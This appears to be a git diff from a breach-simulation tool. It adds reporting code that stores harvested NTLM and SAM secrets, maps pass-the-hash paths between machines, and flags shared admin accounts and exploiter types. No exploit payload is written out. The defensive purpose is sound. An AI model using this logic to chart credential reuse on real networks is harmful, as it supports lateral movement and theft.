+ @staticmethod
+ def get_duplicated_passwords_nodes():
+ users_cred_groups = []
+ docs = PTHReportService.__dup_passwords_mongoquery()
+ for doc in docs:
+ users_list = [
+ {
+ 'username': user['name'],
+ 'domain_name': user['domain_name'],
+ 'hostname': NodeService.get_hostname_by_id(ObjectId(user['machine_id'])) if user['machine_id'] else None
+ } for user in doc['Docs']
+ ]
+ users_cred_groups.append({'cred_groups': users_list})
+
+ return users_cred_groups
+
+ @staticmethod
+ def get_duplicated_passwords_issues():
+ user_groups = PTHReportService.get_duplicated_passwords_nodes()
+ issues = []
+ for group in user_groups:
+ user_info = group['cred_groups'][0]
+ issues.append(
+ {
+ 'type': 'shared_passwords_domain' if user_info['domain_name'] else 'shared_passwords',
+ 'machine': user_info['hostname'] if user_info['hostname'] else user_info['domain_name'],
+ 'shared_with': [PTHReportService.__build_dup_user_label(i) for i in group['cred_groups']],
+ 'is_local': False if user_info['domain_name'] else True
+ }
+ )
+ return issues
+
+ @staticmethod
+ def get_shared_admins_nodes():
+
+ # This mongo queries users the best solution to figure out if an array
+ # object has at least two objects in it, by making sure any value exists in the array index 1.
+ # Excluding the name Administrator - its spamming the lists and not a surprise the domain Administrator account
+ # is shared.
+ admins = mongo.db.groupsandusers.find({'type': USERTYPE, 'name': {'$ne': 'Administrator'},
+ 'admin_on_machines.1': {'$exists': True}},
+ {'admin_on_machines': 1, 'name': 1, 'domain_name': 1})
+ return [
+ {
+ 'name': admin['name'],
+ 'domain_name': admin['domain_name'],
+ 'admin_on_machines': PTHReportService.__get_admin_on_machines_format(admin['admin_on_machines'], admin['domain_name'])
+ } for admin in admins
+ ]
+
+ @staticmethod
+ def get_shared_admins_issues():
+ admins_info = PTHReportService.get_shared_admins_nodes()
+ return [
+ {
+ 'is_local': False,
+ 'type': 'shared_admins_domain',
+ 'machine': admin['domain_name'],
+ 'username': admin['domain_name'] + '\\' + admin['name'],
+ 'shared_machines': admin['admin_on_machines'],
+ }
+ for admin in admins_info]
+
+ @staticmethod
+ def get_strong_users_on_critical_machines_nodes():
+
+ crit_machines = {}
+ docs = PTHReportService.__strong_users_on_crit_query()
+
+ for doc in docs:
+ hostname = str(doc['critical_machine']['hostname'])
+ if hostname not in crit_machines:
+ crit_machines[hostname] = {
+ 'threatening_users': [],
+ 'critical_services': doc['critical_machine']['critical_services']
+ }
+ crit_machines[hostname]['threatening_users'].append(
+ {'name': str(doc['domain_name']) + '\\' + str(doc['name']),
+ 'creds_location': doc['secret_location']})
+ return crit_machines
+
+ @staticmethod
+ def get_strong_users_on_crit_issues():
+ crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes()
+
+ return [
+ {
+ 'type': 'strong_users_on_crit',
+ 'machine': machine,
+ 'services': crit_machines[machine].get('critical_services'),
+ 'threatening_users': [i['name'] for i in crit_machines[machine]['threatening_users']]
+ } for machine in crit_machines
+ ]
+
+ @staticmethod
+ def get_strong_users_on_crit_details():
+ user_details = {}
+ crit_machines = PTHReportService.get_strong_users_on_critical_machines_nodes()
+ for machine in crit_machines:
+ for user in crit_machines[machine]['threatening_users']:
+ username = user['name']
+ if username not in user_details:
+ user_details[username] = {
+ 'machines': [],
+ 'services': []
+ }
+ user_details[username]['machines'].append(machine)
+ user_details[username]['services'] += crit_machines[machine]['critical_services']
+
+ return [
+ {
+ 'username': user,
+ 'machines': user_details[user]['machines'],
+ 'services_names': user_details[user]['services']
+ } for user in user_details
+ ]
+
+ @staticmethod
+ def generate_map_nodes():
+ monkeys = mongo.db.monkey.find({}, {'_id': 1, 'hostname': 1, 'critical_services': 1, 'ip_addresses': 1})
+
+ return [
+ {
+ 'id': monkey['_id'],
+ 'label': '{0} : {1}'.format(monkey['hostname'], monkey['ip_addresses'][0]),
+ 'group': 'critical' if monkey.get('critical_services', []) else 'normal',
+ 'services': monkey.get('critical_services', []),
+ 'hostname': monkey['hostname']
+ } for monkey in monkeys
+ ]
+
+ @staticmethod
+ def generate_edges():
+ edges_list = []
+
+ comp_users = mongo.db.groupsandusers.find(
+ {
+ 'admin_on_machines': {'$ne': []},
+ 'secret_location': {'$ne': []},
+ 'type': USERTYPE
+ },
+ {
+ 'admin_on_machines': 1, 'secret_location': 1
+ }
+ )
+
+ for user in comp_users:
+ # A list comp, to get all unique pairs of attackers and victims.
+ for pair in [pair for pair in product(user['admin_on_machines'], user['secret_location'])
+ if pair[0] != pair[1]]:
+ edges_list.append(
+ {
+ 'from': pair[1],
+ 'to': pair[0],
+ 'id': str(pair[1]) + str(pair[0])
+ }
+ )
+ return edges_list
+
+ @staticmethod
+ def get_pth_map():
+ return {
+ 'nodes': PTHReportService.generate_map_nodes(),
+ 'edges': PTHReportService.generate_edges()
+ }
+
+ @staticmethod
+ def get_report():
+ pth_map = PTHReportService.get_pth_map()
+ PTHReportService.get_strong_users_on_critical_machines_nodes()
+ report = \
+ {
+ 'report_info':
+ {
+ 'strong_users_table': PTHReportService.get_strong_users_on_crit_details()
+ },
+
+ 'pthmap':
+ {
+ 'nodes': pth_map.get('nodes'),
+ 'edges': pth_map.get('edges')
+ }
+ }
+
+ return report
+
diff --git a/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py
similarity index 64%
rename from monkey_island/cc/services/report.py
rename to monkey/monkey_island/cc/services/report.py
index 369b29c25..fe8928a56 100644
--- a/monkey_island/cc/services/report.py
+++ b/monkey/monkey_island/cc/services/report.py
@@ -1,3 +1,6 @@
+import itertools
+import functools
+
import ipaddress
import logging
from enum import Enum
@@ -9,6 +12,8 @@ from cc.services.config import ConfigService
from cc.services.edge import EdgeService
from cc.services.node import NodeService
from cc.utils import local_ip_addresses, get_subnets
+from pth_report import PTHReportService
+from common.network.network_range import NetworkRange
__author__ = "itay.mizeretz"
@@ -30,7 +35,9 @@ class ReportService:
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
'Ms08_067_Exploiter': 'Conficker Exploiter',
'ShellShockExploiter': 'ShellShock Exploiter',
- 'Struts2Exploiter': 'Struts2 Exploiter'
+ 'Struts2Exploiter': 'Struts2 Exploiter',
+ 'WebLogicExploiter': 'Oracle WebLogic Exploiter',
+ 'HadoopExploiter': 'Hadoop/Yarn Exploiter'
}
class ISSUES_DICT(Enum):
@@ -43,10 +50,15 @@ class ReportService:
AZURE = 6
STOLEN_SSH_KEYS = 7
STRUTS2 = 8
+ WEBLOGIC = 9,
+ HADOOP = 10,
+ PTH_CRIT_SERVICES_ACCESS = 11
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
TUNNEL = 1
+ SHARED_LOCAL_ADMIN = 2
+ SHARED_PASSWORDS = 3
@staticmethod
def get_first_monkey_time():
@@ -98,25 +110,28 @@ class ReportService:
@staticmethod
def get_scanned():
+
+ formatted_nodes = []
+
nodes = \
[NodeService.get_displayed_node_by_id(node['_id'], True) for node in mongo.db.node.find({}, {'_id': 1})] \
+ [NodeService.get_displayed_node_by_id(monkey['_id'], True) for monkey in
mongo.db.monkey.find({}, {'_id': 1})]
- nodes = [
- {
- 'label': node['label'],
- 'ip_addresses': node['ip_addresses'],
- 'accessible_from_nodes':
- (x['hostname'] for x in
- (NodeService.get_displayed_node_by_id(edge['from'], True)
- for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))),
- 'services': node['services']
- }
- for node in nodes]
+ for node in nodes:
+ formatted_nodes.append(
+ {
+ 'label': node['label'],
+ 'ip_addresses': node['ip_addresses'],
+ 'accessible_from_nodes':
+ (x['hostname'] for x in
+ (NodeService.get_displayed_node_by_id(edge['from'], True)
+ for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))),
+ 'services': node['services']
+ })
logger.info('Scanned nodes generated for reporting')
- return nodes
+ return formatted_nodes
@staticmethod
def get_exploited():
@@ -155,13 +170,14 @@ class ReportService:
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
for user in monkey_creds:
for pass_type in monkey_creds[user]:
- creds.append(
+ cred_row = \
{
'username': user.replace(',', '.'),
'type': PASS_TYPE_DICT[pass_type],
'origin': origin
}
- )
+ if cred_row not in creds:
+ creds.append(cred_row)
logger.info('Stolen creds generated for reporting')
return creds
@@ -298,6 +314,18 @@ class ReportService:
processed_exploit['type'] = 'struts2'
return processed_exploit
+ @staticmethod
+ def process_weblogic_exploit(exploit):
+ processed_exploit = ReportService.process_general_exploit(exploit)
+ processed_exploit['type'] = 'weblogic'
+ return processed_exploit
+
+ @staticmethod
+ def process_hadoop_exploit(exploit):
+ processed_exploit = ReportService.process_general_exploit(exploit)
+ processed_exploit['type'] = 'hadoop'
+ return processed_exploit
+
@staticmethod
def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter']
@@ -310,7 +338,9 @@ class ReportService:
'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
'ShellShockExploiter': ReportService.process_shellshock_exploit,
- 'Struts2Exploiter': ReportService.process_struts2_exploit
+ 'Struts2Exploiter': ReportService.process_struts2_exploit,
+ 'WebLogicExploiter': ReportService.process_weblogic_exploit,
+ 'HadoopExploiter': ReportService.process_hadoop_exploit
}
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@@ -340,7 +370,7 @@ class ReportService:
]
@staticmethod
- def get_cross_segment_issues():
+ def get_island_cross_segment_issues():
issues = []
island_ips = local_ip_addresses()
for monkey in mongo.db.monkey.find({'tunnel': {'$exists': False}}, {'tunnel': 1, 'guid': 1, 'hostname': 1}):
@@ -355,23 +385,186 @@ class ReportService:
break
if not found_good_ip:
issues.append(
- {'type': 'cross_segment', 'machine': monkey['hostname'],
+ {'type': 'island_cross_segment', 'machine': monkey['hostname'],
'networks': [str(subnet) for subnet in monkey_subnets],
'server_networks': [str(subnet) for subnet in get_subnets()]}
)
return issues
+ @staticmethod
+ def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet):
+ """
+ Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet.
+ :param ip_addresses: List of IP addresses to test.
+ :param source_subnet: Subnet to want an IP to not be in.
+ :param target_subnet: Subnet we want an IP to be in.
+ :return:
+ """
+ for ip_address in ip_addresses:
+ if target_subnet.is_in_range(ip_address):
+ return None
+ for ip_address in ip_addresses:
+ if source_subnet.is_in_range(ip_address):
+ return ip_address
+ return None
+
+ @staticmethod
+ def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subnet_range):
+ """
+ Gets list of cross segment issues of a single machine. Meaning a machine has an interface for each of the
+ subnets.
+ :param source_subnet_range: The subnet range which shouldn't be able to access target_subnet.
+ :param target_subnet_range: The subnet range which shouldn't be accessible from source_subnet.
+ :return:
+ """
+ cross_segment_issues = []
+
+ for monkey in mongo.db.monkey.find({}, {'ip_addresses': 1, 'hostname': 1}):
+ ip_in_src = None
+ ip_in_dst = None
+ for ip_addr in monkey['ip_addresses']:
+ if source_subnet_range.is_in_range(unicode(ip_addr)):
+ ip_in_src = ip_addr
+ break
+
+ # No point searching the dst subnet if there are no IPs in src subnet.
+ if not ip_in_src:
+ continue
+
+ for ip_addr in monkey['ip_addresses']:
+ if target_subnet_range.is_in_range(unicode(ip_addr)):
+ ip_in_dst = ip_addr
+ break
+
+ if ip_in_dst:
+ cross_segment_issues.append(
+ {
+ 'source': ip_in_src,
+ 'hostname': monkey['hostname'],
+ 'target': ip_in_dst,
+ 'services': None,
+ 'is_self': True
+ })
+
+ return cross_segment_issues
+
+ @staticmethod
+ def get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet):
+ """
+ Gets list of cross segment issues from source_subnet to target_subnet.
+ :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services.
+ This should be a PyMongo cursor object.
+ :param source_subnet: The subnet which shouldn't be able to access target_subnet.
+ :param target_subnet: The subnet which shouldn't be accessible from source_subnet.
+ :return:
+ """
+ if source_subnet == target_subnet:
+ return []
+ source_subnet_range = NetworkRange.get_range_obj(source_subnet)
+ target_subnet_range = NetworkRange.get_range_obj(target_subnet)
+
+ cross_segment_issues = []
+
+ scans.rewind() # If we iterated over scans already we need to rewind.
+ for scan in scans:
+ target_ip = scan['data']['machine']['ip_addr']
+ if target_subnet_range.is_in_range(unicode(target_ip)):
+ monkey = NodeService.get_monkey_by_guid(scan['monkey_guid'])
+ cross_segment_ip = ReportService.get_ip_in_src_and_not_in_dst(monkey['ip_addresses'],
+ source_subnet_range,
+ target_subnet_range)
+
+ if cross_segment_ip is not None:
+ cross_segment_issues.append(
+ {
+ 'source': cross_segment_ip,
+ 'hostname': monkey['hostname'],
+ 'target': target_ip,
+ 'services': scan['data']['machine']['services'],
+ 'is_self': False
+ })
+
+ return cross_segment_issues + ReportService.get_cross_segment_issues_of_single_machine(
+ source_subnet_range, target_subnet_range)
+
+ @staticmethod
+ def get_cross_segment_issues_per_subnet_group(scans, subnet_group):
+ """
+ Gets list of cross segment issues within given subnet_group.
+ :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services.
+ This should be a PyMongo cursor object.
+ :param subnet_group: List of subnets which shouldn't be accessible from each other.
+ :return: Cross segment issues regarding the subnets in the group.
+ """
+ cross_segment_issues = []
+
+ for subnet_pair in itertools.product(subnet_group, subnet_group):
+ source_subnet = subnet_pair[0]
+ target_subnet = subnet_pair[1]
+ pair_issues = ReportService.get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet)
+ if len(pair_issues) != 0:
+ cross_segment_issues.append(
+ {
+ 'source_subnet': source_subnet,
+ 'target_subnet': target_subnet,
+ 'issues': pair_issues
+ })
+
+ return cross_segment_issues
+
+ @staticmethod
+ def get_cross_segment_issues():
+ scans = mongo.db.telemetry.find({'telem_type': 'scan'},
+ {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1})
+
+ cross_segment_issues = []
+
+ # For now the feature is limited to 1 group.
+ subnet_groups = [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])]
+
+ for subnet_group in subnet_groups:
+ cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group)
+
+ return cross_segment_issues
+
+ @staticmethod
+ def get_domain_issues():
+
+ ISSUE_GENERATORS = [
+ PTHReportService.get_duplicated_passwords_issues,
+ PTHReportService.get_shared_admins_issues,
+ ]
+ issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
+ domain_issues_dict = {}
+ for issue in issues:
+ if not issue.get('is_local', True):
+ machine = issue.get('machine').upper()
+ if machine not in domain_issues_dict:
+ domain_issues_dict[machine] = []
+ domain_issues_dict[machine].append(issue)
+ logger.info('Domain issues generated for reporting')
+ return domain_issues_dict
+
@staticmethod
def get_issues():
- issues = ReportService.get_exploits() + ReportService.get_tunnels() +\
- ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
+ ISSUE_GENERATORS = [
+ ReportService.get_exploits,
+ ReportService.get_tunnels,
+ ReportService.get_island_cross_segment_issues,
+ ReportService.get_azure_issues,
+ PTHReportService.get_duplicated_passwords_issues,
+ PTHReportService.get_strong_users_on_crit_issues
+ ]
+ issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
+
issues_dict = {}
for issue in issues:
- machine = issue['machine']
- if machine not in issues_dict:
- issues_dict[machine] = []
- issues_dict[machine].append(issue)
+ if issue.get('is_local', True):
+ machine = issue.get('machine').upper()
+ if machine not in issues_dict:
+ issues_dict[machine] = []
+ issues_dict[machine].append(issue)
logger.info('Issues generated for reporting')
return issues_dict
@@ -430,24 +623,37 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
elif issue['type'] == 'struts2':
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
+ elif issue['type'] == 'weblogic':
+ issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True
+ elif issue['type'] == 'hadoop':
+ issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
+ elif issue['type'] == 'strong_users_on_crit':
+ issues_byte_array[ReportService.ISSUES_DICT.PTH_CRIT_SERVICES_ACCESS.value] = True
elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'):
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True
return issues_byte_array
@staticmethod
- def get_warnings_overview(issues):
- warnings_byte_array = [False] * 2
+ def get_warnings_overview(issues, cross_segment_issues):
+ warnings_byte_array = [False] * len(ReportService.WARNINGS_DICT)
for machine in issues:
for issue in issues[machine]:
- if issue['type'] == 'cross_segment':
+ if issue['type'] == 'island_cross_segment':
warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True
elif issue['type'] == 'tunnel':
warnings_byte_array[ReportService.WARNINGS_DICT.TUNNEL.value] = True
+ elif issue['type'] == 'shared_admins':
+ warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_LOCAL_ADMIN.value] = True
+ elif issue['type'] == 'shared_passwords':
+ warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_PASSWORDS.value] = True
+
+ if len(cross_segment_issues) != 0:
+ warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True
return warnings_byte_array
@@ -468,9 +674,11 @@ class ReportService:
@staticmethod
def get_report():
+ domain_issues = ReportService.get_domain_issues()
issues = ReportService.get_issues()
config_users = ReportService.get_config_users()
config_passwords = ReportService.get_config_passwords()
+ cross_segment_issues = ReportService.get_cross_segment_issues()
report = \
{
@@ -485,7 +693,8 @@ class ReportService:
'monkey_start_time': ReportService.get_first_monkey_time().strftime("%d/%m/%Y %H:%M:%S"),
'monkey_duration': ReportService.get_monkey_duration(),
'issues': ReportService.get_issues_overview(issues, config_users, config_passwords),
- 'warnings': ReportService.get_warnings_overview(issues)
+ 'warnings': ReportService.get_warnings_overview(issues, cross_segment_issues),
+ 'cross_segment_issues': cross_segment_issues
},
'glance':
{
@@ -493,11 +702,14 @@ class ReportService:
'exploited': ReportService.get_exploited(),
'stolen_creds': ReportService.get_stolen_creds(),
'azure_passwords': ReportService.get_azure_creds(),
- 'ssh_keys': ReportService.get_ssh_keys()
+ 'ssh_keys': ReportService.get_ssh_keys(),
+ 'strong_users': PTHReportService.get_strong_users_on_crit_details(),
+ 'pth_map': PTHReportService.get_pth_map()
},
'recommendations':
{
- 'issues': issues
+ 'issues': issues,
+ 'domain_issues': domain_issues
}
}
diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py
new file mode 100644
index 000000000..5842ae5c6
--- /dev/null
+++ b/monkey/monkey_island/cc/services/wmi_handler.py
@@ -0,0 +1,155 @@
+from cc.database import mongo
+from cc.services.groups_and_users_consts import USERTYPE, GROUPTYPE
+
+__author__ = 'maor.rayzin'
+
+
+class WMIHandler(object):
+
+ ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544'
+
+ def __init__(self, monkey_id, wmi_info, user_secrets):
+
+ self.monkey_id = monkey_id
+ self.info_for_mongo = {}
+ self.users_secrets = user_secrets
+ self.users_info = wmi_info['Win32_UserAccount']
+ self.groups_info = wmi_info['Win32_Group']
+ self.groups_and_users = wmi_info['Win32_GroupUser']
+ self.services = wmi_info['Win32_Service']
+ self.products = wmi_info['Win32_Product']
+
+ def process_and_handle_wmi_info(self):
+
+ self.add_groups_to_collection()
+ self.add_users_to_collection()
+ self.create_group_user_connection()
+ self.insert_info_to_mongo()
+ self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id)
+ self.update_admins_retrospective()
+ self.update_critical_services()
+
+ def update_critical_services(self):
+ critical_names = ("W3svc", "MSExchangeServiceHost", "dns", 'MSSQL$SQLEXPRES')
+ mongo.db.monkey.update({'_id': self.monkey_id}, {'$set': {'critical_services': []}})
+
+ services_names_list = [str(i['Name'])[2:-1] for i in self.services]
+ products_names_list = [str(i['Name'])[2:-2] for i in self.products]
+
+ for name in critical_names:
+ if name in services_names_list or name in products_names_list:
+ mongo.db.monkey.update({'_id': self.monkey_id}, {'$addToSet': {'critical_services': name}})
+
+ def build_entity_document(self, entity_info, monkey_id=None):
+ general_properties_dict = {
+ 'SID': str(entity_info['SID'])[4:-1],
+ 'name': str(entity_info['Name'])[2:-1],
+ 'machine_id': monkey_id,
+ 'member_of': [],
+ 'admin_on_machines': []
+ }
+
+ if monkey_id:
+ general_properties_dict['domain_name'] = None
+ else:
+ general_properties_dict['domain_name'] = str(entity_info['Domain'])[2:-1]
+
+ return general_properties_dict
+
+ def add_users_to_collection(self):
+ for user in self.users_info:
+ if not user.get('LocalAccount'):
+ base_entity = self.build_entity_document(user)
+ else:
+ base_entity = self.build_entity_document(user, self.monkey_id)
+ base_entity['NTLM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('ntlm')
+ base_entity['SAM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('sam')
+ base_entity['secret_location'] = []
+
+ base_entity['type'] = USERTYPE
+ self.info_for_mongo[base_entity.get('SID')] = base_entity
+
+ def add_groups_to_collection(self):
+ for group in self.groups_info:
+ if not group.get('LocalAccount'):
+ base_entity = self.build_entity_document(group)
+ else:
+ base_entity = self.build_entity_document(group, self.monkey_id)
+ base_entity['entities_list'] = []
+ base_entity['type'] = GROUPTYPE
+ self.info_for_mongo[base_entity.get('SID')] = base_entity
+
+ def create_group_user_connection(self):
+ for group_user_couple in self.groups_and_users:
+ group_part = group_user_couple['GroupComponent']
+ child_part = group_user_couple['PartComponent']
+ group_sid = str(group_part['SID'])[4:-1]
+ groups_entities_list = self.info_for_mongo[group_sid]['entities_list']
+ child_sid = ''
+
+ if type(child_part) in (unicode, str):
+ child_part = str(child_part)
+ name = None
+ domain_name = None
+ if "cimv2:Win32_UserAccount" in child_part:
+ # domain user
+ domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0]
+ name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-2]
+
+ if "cimv2:Win32_Group" in child_part:
+ # domain group
+ domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[0]
+ name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][:-2]
+
+ for entity in self.info_for_mongo:
+ if self.info_for_mongo[entity]['name'] == name and \
+ self.info_for_mongo[entity]['domain'] == domain_name:
+ child_sid = self.info_for_mongo[entity]['SID']
+ else:
+ child_sid = str(child_part['SID'])[4:-1]
+
+ if child_sid and child_sid not in groups_entities_list:
+ groups_entities_list.append(child_sid)
+
+ if child_sid:
+ if child_sid in self.info_for_mongo:
+ self.info_for_mongo[child_sid]['member_of'].append(group_sid)
+
+ def insert_info_to_mongo(self):
+ for entity in self.info_for_mongo.values():
+ if entity['machine_id']:
+ # Handling for local entities.
+ mongo.db.groupsandusers.update({'SID': entity['SID'],
+ 'machine_id': entity['machine_id']}, entity, upsert=True)
+ else:
+ # Handlings for domain entities.
+ if not mongo.db.groupsandusers.find_one({'SID': entity['SID']}):
+ mongo.db.groupsandusers.insert_one(entity)
+ else:
+ # if entity is domain entity, add the monkey id of current machine to secrets_location.
+ # (found on this machine)
+ if entity.get('NTLM_secret'):
+ mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': USERTYPE},
+ {'$addToSet': {'secret_location': self.monkey_id}})
+
+ def update_admins_retrospective(self):
+ for profile in self.info_for_mongo:
+ groups_from_mongo = mongo.db.groupsandusers.find({
+ 'SID': {'$in': self.info_for_mongo[profile]['member_of']}},
+ {'admin_on_machines': 1})
+
+ for group in groups_from_mongo:
+ if group['admin_on_machines']:
+ mongo.db.groupsandusers.update_one({'SID': self.info_for_mongo[profile]['SID']},
+ {'$addToSet': {'admin_on_machines': {
+ '$each': group['admin_on_machines']}}})
+
+ def add_admin(self, group, machine_id):
+ for sid in group['entities_list']:
+ mongo.db.groupsandusers.update_one({'SID': sid},
+ {'$addToSet': {'admin_on_machines': machine_id}})
+ entity_details = mongo.db.groupsandusers.find_one({'SID': sid},
+ {'type': USERTYPE, 'entities_list': 1})
+ if entity_details.get('type') == GROUPTYPE:
+ self.add_admin(entity_details, machine_id)
+
diff --git a/monkey_island/cc/ui/.babelrc b/monkey/monkey_island/cc/ui/.babelrc
similarity index 100%
rename from monkey_island/cc/ui/.babelrc
rename to monkey/monkey_island/cc/ui/.babelrc
diff --git a/monkey_island/cc/ui/.editorconfig b/monkey/monkey_island/cc/ui/.editorconfig
similarity index 100%
rename from monkey_island/cc/ui/.editorconfig
rename to monkey/monkey_island/cc/ui/.editorconfig
diff --git a/monkey_island/cc/ui/.eslintrc b/monkey/monkey_island/cc/ui/.eslintrc
similarity index 100%
rename from monkey_island/cc/ui/.eslintrc
rename to monkey/monkey_island/cc/ui/.eslintrc
diff --git a/monkey_island/cc/ui/.gitignore b/monkey/monkey_island/cc/ui/.gitignore
similarity index 100%
rename from monkey_island/cc/ui/.gitignore
rename to monkey/monkey_island/cc/ui/.gitignore
diff --git a/monkey_island/cc/ui/.yo-rc.json b/monkey/monkey_island/cc/ui/.yo-rc.json
similarity index 100%
rename from monkey_island/cc/ui/.yo-rc.json
rename to monkey/monkey_island/cc/ui/.yo-rc.json
diff --git a/monkey_island/cc/ui/karma.conf.js b/monkey/monkey_island/cc/ui/karma.conf.js
similarity index 100%
rename from monkey_island/cc/ui/karma.conf.js
rename to monkey/monkey_island/cc/ui/karma.conf.js
diff --git a/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
similarity index 92%
rename from monkey_island/cc/ui/package-lock.json
rename to monkey/monkey_island/cc/ui/package-lock.json
index 98ca6d7fd..e79f4663d 100644
--- a/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -110,6 +110,22 @@
}
}
},
+ "@babel/runtime-corejs2": {
+ "version": "7.1.2",
+ "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.1.2.tgz",
+ "integrity": "sha512-drxaPByExlcRDKW4ZLubUO4ZkI8/8ax9k9wve1aEthdLKFzjB7XRkOQ0xoTIWGxqdDnWDElkjYq77bt7yrcYJQ==",
+ "requires": {
+ "core-js": "2.5.7",
+ "regenerator-runtime": "0.12.1"
+ },
+ "dependencies": {
+ "regenerator-runtime": {
+ "version": "0.12.1",
+ "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.12.1.tgz",
+ "integrity": "sha512-odxIc1/vDlo4iZcfXqRYFj0vpXFNoGdKMAUieAlFYO6m/nl5e9KR/beGf41z4a1FI+aQgtjhuaSlDxQ0hmkrHg=="
+ }
+ }
+ },
"@babel/template": {
"version": "7.0.0-beta.44",
"resolved": "https://registry.npmjs.org/@babel/template/-/template-7.0.0-beta.44.tgz",
@@ -191,264 +207,189 @@
}
},
"@webassemblyjs/ast": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.5.13.tgz",
- "integrity": "sha512-49nwvW/Hx9i+OYHg+mRhKZfAlqThr11Dqz8TsrvqGKMhdI2ijy3KBJOun2Z4770TPjrIJhR6KxChQIDaz8clDA==",
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.7.8.tgz",
+ "integrity": "sha512-dOrtdtEyB8sInpl75yLPNksY4sRl0j/+t6aHyB/YA+ab9hV3Fo7FmG12FHzP+2MvWVAJtDb+6eXR5EZbZJ+uVg==",
"dev": true,
"requires": {
- "@webassemblyjs/helper-module-context": "1.5.13",
- "@webassemblyjs/helper-wasm-bytecode": "1.5.13",
- "@webassemblyjs/wast-parser": "1.5.13",
- "debug": "3.1.0",
- "mamacro": "0.0.3"
- },
- "dependencies": {
- "debug": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
- "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==",
- "dev": true,
- "requires": {
- "ms": "2.0.0"
- }
- }
+ "@webassemblyjs/helper-module-context": "1.7.8",
+ "@webassemblyjs/helper-wasm-bytecode": "1.7.8",
+ "@webassemblyjs/wast-parser": "1.7.8"
}
},
"@webassemblyjs/floating-point-hex-parser": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.5.13.tgz",
- "integrity": "sha512-vrvvB18Kh4uyghSKb0NTv+2WZx871WL2NzwMj61jcq2bXkyhRC+8Q0oD7JGVf0+5i/fKQYQSBCNMMsDMRVAMqA==",
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.7.8.tgz",
+ "integrity": "sha512-kn2zNKGsbql5i56VAgRYkpG+VazqHhQQZQycT2uXAazrAEDs23gy+Odkh5VblybjnwX2/BITkDtNmSO76hdIvQ==",
"dev": true
},
"@webassemblyjs/helper-api-error": {
- "version": "1.5.13",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.5.13.tgz",
- "integrity": "sha512-dBh2CWYqjaDlvMmRP/kudxpdh30uXjIbpkLj9HQe+qtYlwvYjPRjdQXrq1cTAAOUSMTtzqbXIxEdEZmyKfcwsg==",
+ "version": "1.7.8",
+ "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.7.8.tgz",
